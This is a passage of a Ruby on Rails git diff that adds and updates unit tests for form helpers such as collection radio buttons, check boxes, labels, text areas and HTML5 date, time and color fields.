+    assert_select 'input[type=radio][value=false].special-radio#user_active_false'
+  end
+
+  test 'collection radio does not wrap input inside the label' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s
+
+    assert_select 'input[type=radio] + label'
+    assert_no_select 'label input'
+  end
+
+  test 'collection radio accepts a block to render the label as radio button wrapper' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label { b.radio_button }
+    end
+
+    assert_select 'label[for=user_active_true] > input#user_active_true[type=radio]'
+    assert_select 'label[for=user_active_false] > input#user_active_false[type=radio]'
+  end
+
+  test 'collection radio accepts a block to change the order of label and radio button' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label + b.radio_button
+    end
+
+    assert_select 'label[for=user_active_true] + input#user_active_true[type=radio]'
+    assert_select 'label[for=user_active_false] + input#user_active_false[type=radio]'
+  end
+
+  test 'collection radio with block helpers accept extra html options' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:class => "radio_button") + b.radio_button(:class => "radio_button")
+    end
+
+    assert_select 'label.radio_button[for=user_active_true] + input#user_active_true.radio_button[type=radio]'
+    assert_select 'label.radio_button[for=user_active_false] + input#user_active_false.radio_button[type=radio]'
+  end
+
+  test 'collection radio with block helpers allows access to current text and value' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:"data-value" => b.value) { b.radio_button + b.text }
+    end
+
+    assert_select 'label[for=user_active_true][data-value=true]', 'true' do
+      assert_select 'input#user_active_true[type=radio]'
+    end
+    assert_select 'label[for=user_active_false][data-value=false]', 'false' do
+      assert_select 'input#user_active_false[type=radio]'
+    end
+  end
+
+  test 'collection radio with block helpers allows access to the current object item in the collection to access extra properties' do
+    with_collection_radio_buttons :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:class => b.object) { b.radio_button + b.text }
+    end
+
+    assert_select 'label.true[for=user_active_true]', 'true' do
+      assert_select 'input#user_active_true[type=radio]'
+    end
+    assert_select 'label.false[for=user_active_false]', 'false' do
+      assert_select 'input#user_active_false[type=radio]'
+    end
+  end
+
+  test 'collection radio buttons with fields for' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    @output_buffer = fields_for(:post) do |p|
+      p.collection_radio_buttons :category_id, collection, :id, :name
+    end
+
+    assert_select 'input#post_category_id_1[type=radio][value=1]'
+    assert_select 'input#post_category_id_2[type=radio][value=2]'
+
+    assert_select 'label[for=post_category_id_1]', 'Category 1'
+    assert_select 'label[for=post_category_id_2]', 'Category 2'
+  end
+
+  # COLLECTION CHECK BOXES
+  test 'collection check boxes accepts a collection and generate a serie of checkboxes for value method' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+    assert_select 'input#user_category_ids_1[type=checkbox][value=1]'
+    assert_select 'input#user_category_ids_2[type=checkbox][value=2]'
+  end
+
+  test 'collection check boxes generates only one hidden field for the entire collection, to ensure something will be sent back to the server when posting an empty collection' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+    assert_select "input[type=hidden][name='user[category_ids][]'][value=]", :count => 1
+  end
+
+  test 'collection check boxes accepts a collection and generate a serie of checkboxes with labels for label method' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    with_collection_check_boxes :user, :category_ids, collection, :id, :name
+
+    assert_select 'label[for=user_category_ids_1]', 'Category 1'
+    assert_select 'label[for=user_category_ids_2]', 'Category 2'
+  end
+
+  test 'collection check boxes handles camelized collection values for labels correctly' do
+    with_collection_check_boxes :user, :active, ['Yes', 'No'], :to_s, :to_s
+
+    assert_select 'label[for=user_active_yes]', 'Yes'
+    assert_select 'label[for=user_active_no]', 'No'
+  end
+
+  test 'colection check box should sanitize collection values for labels correctly' do
+    with_collection_check_boxes :user, :name, ['$0.99', '$1.99'], :to_s, :to_s
+    assert_select 'label[for=user_name_099]', '$0.99'
+    assert_select 'label[for=user_name_199]', '$1.99'
+  end
+
+  test 'collection check boxes accepts selected values as :checked option' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => [1, 3]
+
+    assert_select 'input[type=checkbox][value=1][checked=checked]'
+    assert_select 'input[type=checkbox][value=3][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+  end
+
+  test 'collection check boxes accepts selected string values as :checked option' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => ['1', '3']
+
+    assert_select 'input[type=checkbox][value=1][checked=checked]'
+    assert_select 'input[type=checkbox][value=3][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+  end
+
+  test 'collection check boxes accepts a single checked value' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :checked => 3
+
+    assert_select 'input[type=checkbox][value=3][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=1][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+  end
+
+  test 'collection check boxes accepts selected values as :checked option and override the model values' do
+    user = Struct.new(:category_ids).new(2)
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+
+    @output_buffer = fields_for(:user, user) do |p|
+      p.collection_check_boxes :category_ids, collection, :first, :last, :checked => [1, 3]
+    end
+
+    assert_select 'input[type=checkbox][value=1][checked=checked]'
+    assert_select 'input[type=checkbox][value=3][checked=checked]'
+    assert_no_select 'input[type=checkbox][value=2][checked=checked]'
+  end
+
+  test 'collection check boxes accepts multiple disabled items' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => [1, 3]
+
+    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
+    assert_select 'input[type=checkbox][value=3][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+  end
+
+  test 'collection check boxes accepts single disable item' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => 1
+
+    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+  end
+
+  test 'collection check boxes accepts a proc to disabled items' do
+    collection = (1..3).map{|i| [i, "Category #{i}"] }
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, :disabled => proc { |i| i.first == 1 }
+
+    assert_select 'input[type=checkbox][value=1][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=3][disabled=disabled]'
+    assert_no_select 'input[type=checkbox][value=2][disabled=disabled]'
+  end
+
+  test 'collection check boxes accepts html options' do
+    collection = [[1, 'Category 1'], [2, 'Category 2']]
+    with_collection_check_boxes :user, :category_ids, collection, :first, :last, {}, :class => 'check'
+
+    assert_select 'input.check[type=checkbox][value=1]'
+    assert_select 'input.check[type=checkbox][value=2]'
+  end
+
+  test 'collection check boxes with fields for' do
+    collection = [Category.new(1, 'Category 1'), Category.new(2, 'Category 2')]
+    @output_buffer = fields_for(:post) do |p|
+      p.collection_check_boxes :category_ids, collection, :id, :name
+    end
+
+    assert_select 'input#post_category_ids_1[type=checkbox][value=1]'
+    assert_select 'input#post_category_ids_2[type=checkbox][value=2]'
+
+    assert_select 'label[for=post_category_ids_1]', 'Category 1'
+    assert_select 'label[for=post_category_ids_2]', 'Category 2'
+  end
+
+  test 'collection check boxes does not wrap input inside the label' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s
+
+    assert_select 'input[type=checkbox] + label'
+    assert_no_select 'label input'
+  end
+
+  test 'collection check boxes accepts a block to render the label as check box wrapper' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label { b.check_box }
+    end
+
+    assert_select 'label[for=user_active_true] > input#user_active_true[type=checkbox]'
+    assert_select 'label[for=user_active_false] > input#user_active_false[type=checkbox]'
+  end
+
+  test 'collection check boxes accepts a block to change the order of label and check box' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label + b.check_box
+    end
+
+    assert_select 'label[for=user_active_true] + input#user_active_true[type=checkbox]'
+    assert_select 'label[for=user_active_false] + input#user_active_false[type=checkbox]'
+  end
+
+  test 'collection check boxes with block helpers accept extra html options' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:class => "check_box") + b.check_box(:class => "check_box")
+    end
+
+    assert_select 'label.check_box[for=user_active_true] + input#user_active_true.check_box[type=checkbox]'
+    assert_select 'label.check_box[for=user_active_false] + input#user_active_false.check_box[type=checkbox]'
+  end
+
+  test 'collection check boxes with block helpers allows access to current text and value' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:"data-value" => b.value) { b.check_box + b.text }
+    end
+
+    assert_select 'label[for=user_active_true][data-value=true]', 'true' do
+      assert_select 'input#user_active_true[type=checkbox]'
+    end
+    assert_select 'label[for=user_active_false][data-value=false]', 'false' do
+      assert_select 'input#user_active_false[type=checkbox]'
+    end
+  end
+
+  test 'collection check boxes with block helpers allows access to the current object item in the collection to access extra properties' do
+    with_collection_check_boxes :user, :active, [true, false], :to_s, :to_s do |b|
+      b.label(:class => b.object) { b.check_box + b.text }
+    end
+
+    assert_select 'label.true[for=user_active_true]', 'true' do
+      assert_select 'input#user_active_true[type=checkbox]'
+    end
+    assert_select 'label.false[for=user_active_false]', 'false' do
+      assert_select 'input#user_active_false[type=checkbox]'
+    end
+  end
+end
diff --git a/actionpack/test/template/form_helper_test.rb b/actionpack/test/template/form_helper_test.rb
index 6434d9645e..5c6cb45530 100644
--- a/actionpack/test/template/form_helper_test.rb
+++ b/actionpack/test/template/form_helper_test.rb
@@ -1,8 +1,9 @@
 require 'abstract_unit'
 require 'controller/fake_models'
-require 'active_support/core_ext/object/inclusion'
 
 class FormHelperTest < ActionView::TestCase
+  include RenderERBUtils
+
   tests ActionView::Helpers::FormHelper
 
   def form_for(*)
@@ -27,7 +28,13 @@ class FormHelperTest < ActionView::TestCase
             :body => "Write entire text here",
             :color => {
               :red => "Rojo"
+            },
+            :comments => {
+              :body => "Write body here"
             }
+          },
+          :tag => {
+            :value => "Tag"
           }
         }
       }
@@ -57,7 +64,7 @@ class FormHelperTest < ActionView::TestCase
         def full_messages() [ "Author name can't be empty" ] end
       }.new
     end
-    def @post.id; 123; end
+    def @post.to_key; [123]; end
     def @post.id_before_type_cast; 123; end
     def @post.to_param; '123'; end
 
@@ -68,7 +75,15 @@ class FormHelperTest < ActionView::TestCase
     @post.secret      = 1
     @post.written_on  = Date.new(2004, 6, 15)
 
+    @post.comments = []
+    @post.comments << @comment
+
+    @post.tags = []
+    @post.tags << Tag.new
+
     @blog_post = Blog::Post.new("And his name will be forty and four.", 44)
+
+    @car = Car.new("#000FFF")
   end
 
   Routes = ActionDispatch::Routing::RouteSet.new
@@ -83,7 +98,7 @@ class FormHelperTest < ActionView::TestCase
       end
     end
 
-    match "/foo", :to => "controller#action"
+    get "/foo", :to => "controller#action"
     root :to => "main#index"
   end
 
@@ -101,6 +116,14 @@ class FormHelperTest < ActionView::TestCase
     super
   end
 
+  class FooTag < ActionView::Helpers::Tags::Base
+    def initialize; end
+  end
+
+  def test_tags_base_child_without_render_method
+    assert_raise(NotImplementedError) { FooTag.new.render }
+  end
+
   def test_label
     assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
     assert_dom_equal('<label for="post_title">The title goes here</label>', label("post", "title", "The title goes here"))
@@ -151,6 +174,40 @@ class FormHelperTest < ActionView::TestCase
     I18n.locale = old_locale
   end
 
+  def test_label_with_locales_and_nested_attributes
+    old_locale, I18n.locale = I18n.locale, :label
+    form_for(@post, :html => { :id => 'create-post' }) do |f|
+      f.fields_for(:comments) do |cf|
+        concat cf.label(:body)
+      end
+    end
+
+    expected = whole_form("/posts/123", "create-post" , "edit_post", :method => 'patch') do
+      "<label for=\"post_comments_attributes_0_body\">Write body here</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    I18n.locale = old_locale
+  end
+
+  def test_label_with_locales_fallback_and_nested_attributes
+    old_locale, I18n.locale = I18n.locale, :label
+    form_for(@post, :html => { :id => 'create-post' }) do |f|
+      f.fields_for(:tags) do |cf|
+        concat cf.label(:value)
+      end
+    end
+
+    expected = whole_form("/posts/123", "create-post" , "edit_post", :method => 'patch') do
+      "<label for=\"post_tags_attributes_0_value\">Tag</label>"
+    end
+
+    assert_dom_equal expected, output_buffer
+  ensure
+    I18n.locale = old_locale
+  end
+
   def test_label_with_for_attribute_as_symbol
     assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, :for => "my_for"))
   end
@@ -159,6 +216,10 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
   end
 
+  def test_label_does_not_generate_for_attribute_when_given_nil
+    assert_dom_equal('<label>Title</label>', label(:post, :title, :for => nil))
+  end
+
   def test_label_with_id_attribute_as_symbol
     assert_dom_equal('<label for="post_title" id="my_id">Title</label>', label(:post, :title, nil, :id => "my_id"))
   end
@@ -184,32 +245,40 @@ class FormHelperTest < ActionView::TestCase
     assert_dom_equal('<label for="post_title">The title, please:</label>', label(:post, :title) { "The title, please:" })
   end
 
+  def test_label_with_block_and_options
+    assert_dom_equal('<label for="my_for">The title, please:</label>', label(:post, :title, "for" => "my_for") { "The title, please:" })
+  end
+
+  def test_label_with_block_in_erb
+    assert_equal "<label for=\"post_message\">\n  Message\n  <input id=\"post_message\" name=\"post[message]\" type=\"text\" />\n</label>", view.render("test/label_with_block")
+  end
+
   def test_text_field
     assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title")
+      '<input id="post_title" name="post[title]" type="text" value="Hello World" />', text_field("post", "title")
     )
     assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="password" />', password_field("post", "title")
+      '<input id="post_title" name="post[title]" type="password" />', password_field("post", "title")
     )
     assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="password" value="Hello World" />', password_field("post", "title", :value => @post.title)
+      '<input id="post_title" name="post[title]" type="password" value="Hello World" />', password_field("post", "title", :value => @post.title)
     )
     assert_dom_equal(
-      '<input id="person_name" name="person[name]" size="30" type="password" />', password_field("person", "name")
+      '<input id="person_name" name="person[name]" type="password" />', password_field("person", "name")
     )
   end
 
   def test_text_field_with_escapes
     @post.title = "<b>Hello World</b>"
     assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="text" value="&lt;b&gt;Hello World&lt;/b&gt;" />', text_field("post", "title")
+      '<input id="post_title" name="post[title]" type="text" value="&lt;b&gt;Hello World&lt;/b&gt;" />', text_field("post", "title")
     )
   end
 
   def test_text_field_with_html_entities
     @post.title = "The HTML Entity for & is &amp;"
     assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="text" value="The HTML Entity for &amp; is &amp;amp;" />',
+      '<input id="post_title" name="post[title]" type="text" value="The HTML Entity for &amp; is &amp;amp;" />',
       text_field("post", "title")
     )
   end
@@ -233,13 +302,18 @@ class FormHelperTest < ActionView::TestCase
   end
 
   def test_text_field_with_nil_value
-    expected = '<input id="post_title" name="post[title]" size="30" type="text" />'
+    expected = '<input id="post_title" name="post[title]" type="text" />'
     assert_dom_equal expected, text_field("post", "title", :value => nil)
   end
 
+  def test_text_field_with_nil_name
+    expected = '<input id="post_title" type="text" value="Hello World" />'
+    assert_dom_equal expected, text_field("post", "title", :name => nil)
+  end
+
   def test_text_field_doesnt_change_param_values
     object_name = 'post[]'
-    expected = '<input id="post_123_title" name="post[123][title]" size="30" type="text" value="Hello World" />'
+    expected = '<input id="post_123_title" name="post[123][title]" type="text" value="Hello World" />'
     assert_equal expected, text_field(object_name, "title")
     assert_equal object_name, "post[]"
   end
@@ -273,39 +347,56 @@ class FormHelperTest < ActionView::TestCase
   end
 
   def test_text_field_with_custom_type
-    assert_dom_equal '<input id="user_email" size="30" name="user[email]" type="email" />',
+    assert_dom_equal '<input id="user_email" name="user[email]" type="email" />',
       text_field("user", "email", :type => "email")
   end
 
-  def test_check_box
+  def test_check_box_is_html_safe
+    assert check_box("post", "secret").html_safe?
+  end
+
+  def test_check_box_checked_if_object_value_is_same_that_check_value
     assert_dom_equal(
       '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret")
     )
+  end
+
+  def test_check_box_not_checked_if_object_value_is_same_that_unchecked_value
     @post.secret = 0
     assert_dom_equal(
       '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret")
     )
+  end
+
+  def test_check_box_checked_if_option_checked_is_present
     assert_dom_equal(
       '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret" ,{"checked"=>"checked"})
     )
+  end
+
+  def test_check_box_checked_if_object_value_is_true
     @post.secret = true
     assert_dom_equal(
       '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret")
     )
+
     assert_dom_equal(
       '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret?")
     )
+  end
 
+  def test_check_box_checked_if_object_value_includes_checked_value
     @post.secret = ['0']
     assert_dom_equal(
       '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
       check_box("post", "secret")
     )
+
     @post.secret = ['1']
     assert_dom_equal(
       '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
@@ -313,12 +404,109 @@ class FormHelperTest < ActionView::TestCase
     )
   end
 
-  def test_check_box_with_explicit_checked_and_unchecked_values
+  def test_check_box_with_include_hidden_false
+    @post.secret = false
+    assert_dom_equal('<input id="post_secret" name="post[secret]" type="checkbox" value="1" />', check_box("post", "secret", :include_hidden => false))
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_string
     @post.secret = "on"
     assert_dom_equal(
       '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
       check_box("post", "secret", {}, "on", "off")
     )
+
+    @post.secret = "off"
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="off" /><input id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      check_box("post", "secret", {}, "on", "off")
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_boolean
+    @post.secret = false
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="true" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+      check_box("post", "secret", {}, false, true)
+    )
+
+    @post.secret = true
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="true" /><input id="post_secret" name="post[secret]" type="checkbox" value="false" />',
+      check_box("post", "secret", {}, false, true)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_integer
+    @post.secret = 0
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 1
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 2
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_float
+    @post.secret = 0.0
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 1.1
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = 2.2
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+  end
+
+  def test_check_box_with_explicit_checked_and_unchecked_values_when_object_value_is_big_decimal
+    @post.secret = BigDecimal.new(0)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = BigDecimal.new(1)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+
+    @post.secret = BigDecimal.new(2.2, 1)
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="1" /><input id="post_secret" name="post[secret]" type="checkbox" value="0" />',
+      check_box("post", "secret", {}, 0, 1)
+    )
+  end
+
+  def test_check_box_with_nil_unchecked_value
+    @post.secret = "on"
+    assert_dom_equal(
+      '<input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
+      check_box("post", "secret", {}, "on", nil)
+    )
+  end
+
+  def test_check_box_with_nil_unchecked_value_is_html_safe
+    assert check_box("post", "secret", {}, "on", nil).html_safe?
   end
 
   def test_check_box_with_multiple_behavior
@@ -333,11 +521,17 @@ class FormHelperTest < ActionView::TestCase
     )
   end
 
+  def test_checkbox_disabled_disables_hidden_field
+    assert_dom_equal(
+      '<input name="post[secret]" type="hidden" value="0" disabled="disabled"/><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", { :disabled => true })
+    )
+  end
 
-  def test_checkbox_disabled_still_submits_checked_value
+  def test_checkbox_form_html5_attribute
     assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", { :disabled => :true })
+      '<input form="new_form" name="post[secret]" type="hidden" value="0" /><input checked="checked" form="new_form" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
+      check_box("post", "secret", :form => "new_form")
     )
   end
 
@@ -382,7 +576,7 @@ class FormHelperTest < ActionView::TestCase
 
   def test_text_area
     assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
+      %{<textarea id="post_body" name="post[body]">\nBack to the hill and over it again!</textarea>},
       text_area("post", "body")
     )
   end
@@ -390,14 +584,14 @@ class FormHelperTest < ActionView::TestCase
   def test_text_area_with_escapes
     @post.body        = "Back to <i>the</i> hill and over it again!"
     assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Back to &lt;i&gt;the&lt;/i&gt; hill and over it again!</textarea>',
+      %{<textarea id="post_body" name="post[body]">\nBack to &lt;i&gt;the&lt;/i&gt; hill and over it again!</textarea>},
       text_area("post", "body")
     )
   end
 
   def test_text_area_with_alternate_value
     assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Testing alternate values.</textarea>',
+      %{<textarea id="post_body" name="post[body]">\nTesting alternate values.</textarea>},
       text_area("post", "body", :value => 'Testing alternate values.')
     )
   end
@@ -405,35 +599,256 @@ class FormHelperTest < ActionView::TestCase
   def test_text_area_with_html_entities
     @post.body        = "The HTML Entity for & is &amp;"
     assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">The HTML Entity for &amp; is &amp;amp;</textarea>',
+      %{<textarea id="post_body" name="post[body]">\nThe HTML Entity for &amp; is &amp;amp;</textarea>},
       text_area("post", "body")
     )
   end
 
   def test_text_area_with_size_option
     assert_dom_equal(
-      '<textarea cols="183" id="post_body" name="post[body]" rows="820">Back to the hill and over it again!</textarea>',
+      %{<textarea cols="183" id="post_body" name="post[body]" rows="820">\nBack to the hill and over it again!</textarea>},
       text_area("post", "body", :size => "183x820")
     )
   end
 
+  def test_color_field_with_valid_hex_color_string
+    expected = %{<input id="car_color" name="car[color]" type="color" value="#000fff" />}
+    assert_dom_equal(expected, color_field("car", "color"))
+  end
+
+  def test_color_field_with_invalid_hex_color_string
+    expected = %{<input id="car_color" name="car[color]" type="color" value="#000000" />}
+    @car.color = "#1234TR"
+    assert_dom_equal(expected, color_field("car", "color"))
+  end
+
   def test_search_field
-    expected = %{<input id="contact_notes_query" size="30" name="contact[notes_query]" type="search" />}
+    expected = %{<input id="contact_notes_query" name="contact[notes_query]" type="search" />}
     assert_dom_equal(expected, search_field("contact", "notes_query"))
   end
 
   def test_telephone_field
-    expected = %{<input id="user_cell" size="30" name="user[cell]" type="tel" />}
+    expected = %{<input id="user_cell" name="user[cell]" type="tel" />}
     assert_dom_equal(expected, telephone_field("user", "cell"))
   end
 
+  def test_date_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  end
+
+  def test_date_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  end
+
+  def test_date_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="2" max="2010-08-15" min="2000-06-15" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = DateTime.new(2004, 6, 15)
+    min_value = DateTime.new(2000, 6, 15)
+    max_value = DateTime.new(2010, 8, 15)
+    step = 2
+    assert_dom_equal(expected, date_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
+  end
+
+  def test_date_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" value="2004-06-15" />}
+    @post.written_on = Time.zone.parse('2004-06-15 15:30:45')
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_date_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="date" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, date_field("post", "written_on"))
+  end
+
+  def test_time_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="00:00:00.000" />}
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  end
+
+  def test_time_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  end
+
+  def test_time_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="60" max="10:25:00.000" min="20:45:30.000" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+    step = 60
+    assert_dom_equal(expected, time_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
+  end
+
+  def test_time_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" value="01:02:03.000" />}
+    @post.written_on = Time.zone.parse('2004-06-15 01:02:03')
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  ensure
+    Time.zone = previous_time_zone
+  end
+
+  def test_time_field_with_nil_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="time" />}
+    @post.written_on = nil
+    assert_dom_equal(expected, time_field("post", "written_on"))
+  end
+
+  def test_datetime_field
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T00:00:00.000+0000" />}
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  end
+
+  def test_datetime_field_with_datetime_value
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    assert_dom_equal(expected, datetime_field("post", "written_on"))
+  end
+
+  def test_datetime_field_with_extra_attrs
+    expected = %{<input id="post_written_on" step="60" max="2010-08-15T10:25:00.000+0000" min="2000-06-15T20:45:30.000+0000" name="post[written_on]" type="datetime" value="2004-06-15T01:02:03.000+0000" />}
+    @post.written_on = DateTime.new(2004, 6, 15, 1, 2, 3)
+    min_value = DateTime.new(2000, 6, 15, 20, 45, 30)
+    max_value = DateTime.new(2010, 8, 15, 10, 25, 00)
+    step = 60
+    assert_dom_equal(expected, datetime_field("post", "written_on", :min => min_value, :max => max_value, :step => step))
+  end
+
+  def test_datetime_field_with_timewithzone_value
+    previous_time_zone, Time.zone = Time.zone, 'UTC'
+    expected = %{<input id="post_written_on" name="post[written_on]" type="datetime" value="2004-06-15T15:30:45.000+0000" />}
